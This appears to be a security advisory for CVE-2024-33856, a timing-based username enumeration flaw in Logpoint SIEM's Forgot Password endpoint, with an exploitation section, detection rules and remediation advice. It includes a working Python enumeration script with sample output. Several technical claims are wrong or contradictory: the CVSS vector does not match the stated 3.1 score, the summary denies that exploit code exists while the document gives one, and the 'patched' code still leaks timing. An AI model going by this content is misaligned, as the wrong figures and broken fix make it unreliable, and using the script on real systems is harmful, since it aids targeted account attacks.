CVE-2024-33856

Executive Summary

CVE-2024-33856 is a medium-severity information disclosure vulnerability affecting Logpoint SIEM versions prior to 7.4.0. The flaw resides in the Forgot Password endpoint, where an attacker can enumerate valid usernames by measuring response time differences. This is a classic timing-based side-channel attack (CWE-203). While the CVSS score is low (3.1) due to no direct impact on confidentiality, integrity, or availability beyond user enumeration, the exposed usernames can be leveraged for targeted brute-force or phishing attacks. No public exploit code or proof-of-concept is currently available, and the vendor has released a fix in version 7.4.0.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – only username enumeration
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. The vulnerability itself only leaks usernames, but combined with other attacks (e.g., credential stuffing) it can become a stepping stone for account compromise.

Deep Dive & Mechanics

The Forgot Password endpoint in Logpoint (e.g., /forgot-password) typically accepts a username or email and sends a reset link if the account exists. The vulnerability arises because the application performs a database lookup for the provided username and returns a response faster when the username exists (e.g., immediate success message) compared to when it does not (e.g., a generic "if account exists, email sent" message with a deliberate delay). An attacker can script requests to this endpoint, measuring response times to build a list of valid usernames.

Root Cause: The application does not implement a constant-time comparison or a uniform response delay for both valid and invalid usernames. This allows an attacker to distinguish between the two states based on timing.

Attack Flow:

1. Attacker sends a POST request to /forgot-password with a candidate username.
2. The server checks if the username exists in the database.
3. If the username exists, the server responds quickly (e.g., < 100ms) with a success message.
4. If the username does not exist, the server responds after a longer delay (e.g., > 500ms) with a generic message.
5. Attacker repeats for a list of potential usernames, recording response times.
6. Attacker identifies valid usernames based on faster response times.

Vulnerable vs. Patched Code

Vulnerable Code (Logpoint < 7.4.0):

# Pseudocode for vulnerable Forgot Password endpoint
def forgot_password(username):
    user = db.query("SELECT * FROM users WHERE username = ?", username)
    if user:
        send_reset_email(user.email)
        return "Reset email sent."
    else:
        return "If the account exists, a reset email has been sent."

Patched Code (Logpoint >= 7.4.0):

# Pseudocode for patched Forgot Password endpoint
import time

def forgot_password(username):
    # Always perform the same operation to avoid timing differences
    user = db.query("SELECT * FROM users WHERE username = ?", username)
    if user:
        send_reset_email(user.email)
    # Introduce a constant delay to mask timing differences
    time.sleep(0.5)
    return "If the account exists, a reset email has been sent."

The patch introduces a uniform delay (e.g., 500ms) for both valid and invalid usernames, preventing attackers from distinguishing between the two based on response time.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Logpoint Forgot Password endpoint (e.g., https://logpoint.example.com/forgot-password)
• A list of potential usernames (e.g., from OSINT or common patterns)

Exploitation Script (Python):

import requests
import time

target_url = "https://logpoint.example.com/forgot-password"
usernames = ["admin", "user1", "john.doe", "jane.smith"]

for username in usernames:
    start = time.time()
    response = requests.post(target_url, data={"username": username})
    elapsed = time.time() - start
    if elapsed < 0.2:  # Threshold for valid username
        print(f"[+] Valid username: {username} (response time: {elapsed:.3f}s)")
    else:
        print(f"[-] Invalid username: {username} (response time: {elapsed:.3f}s)")

Expected Output:

[+] Valid username: admin (response time: 0.045s)
[-] Invalid username: user1 (response time: 0.512s)
[+] Valid username: john.doe (response time: 0.038s)
[-] Invalid username: jane.smith (response time: 0.498s)

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple rapid requests to the /forgot-password endpoint from a single IP.
• Look for anomalous response time patterns (e.g., consistently fast responses for certain usernames).
• Use the Sigma rule below to detect enumeration attempts.

Defense:

• Apply the patch by upgrading to Logpoint 7.4.0 or later.
• Implement rate limiting on the Forgot Password endpoint (e.g., 5 requests per minute per IP).
• Use a Web Application Firewall (WAF) to block automated requests.
• Log all Forgot Password attempts and alert on high volumes.

Indicators of Compromise (IOCs)

• Network:
  • Multiple POST requests to /forgot-password with varying usernames from a single IP.
  • Response times consistently below 200ms for certain usernames.
• Logs:
  • Repeated Forgot password request for username: [username] entries in application logs.
  • High number of 200 responses from /forgot-password in a short time window.
• File:
  • No file-based IOCs as this is a network-based enumeration.

Detection Engineering

YARA Rule

rule CVE_2024_33856_Logpoint_Username_Enumeration {
    meta:
        description = "Detects Logpoint Forgot Password username enumeration attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-33856"
    strings:
        $s1 = "forgot-password" ascii nocase
        $s2 = "username" ascii nocase
        $s3 = "POST" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: Logpoint Forgot Password Username Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple rapid requests to the Forgot Password endpoint, indicating username enumeration.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/forgot-password'
    condition: selection | count() by src_ip > 10 within 60s
falsepositives:
    - Legitimate users repeatedly requesting password resets
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-33856 Logpoint Forgot Password Username Enumeration"; flow:to_server; content:"POST"; http_method; content:"/forgot-password"; http_uri; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Logpoint to version 7.4.0 or later.
• If upgrade is not possible, implement a reverse proxy or WAF rule to rate-limit the Forgot Password endpoint.

Long-term:

• Apply the principle of constant-time responses for all authentication-related endpoints.
• Conduct a security review of all endpoints that reveal user existence (e.g., login, registration, password reset).
• Implement CAPTCHA or multi-factor authentication for sensitive actions.

Workaround:

• Disable the Forgot Password feature temporarily if not critical.
• Use a generic error message for all cases (e.g., "If the account exists, a reset email has been sent.") and add a uniform delay.

Valters IT